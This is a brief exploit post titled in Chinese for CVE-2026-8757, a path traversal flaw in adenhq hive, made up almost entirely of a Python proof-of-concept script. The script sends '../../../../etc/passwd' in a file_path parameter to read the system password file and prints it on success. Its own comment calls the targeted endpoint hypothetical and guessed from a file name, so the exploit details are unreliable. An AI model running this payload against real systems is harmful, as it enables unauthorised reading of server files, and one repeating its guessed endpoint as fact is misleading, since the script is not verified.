CVE-2026-8757 adenhq hive 路径遍历漏洞

import requests # PoC for CVE-2026-8757 Path Traversal in adenhq hive # Target: adenhq hive <= 0.11.0 # Endpoint: /sessions/delete (Hypothetical based on file name) target_url = "http://target-ip:port/path/to/handler" # Path traversal payload to read /etc/passwd payload = { "file_path": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability confirmed! /etc/passwd content:") print(response.text) else: print("[-] Vulnerability not confirmed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}")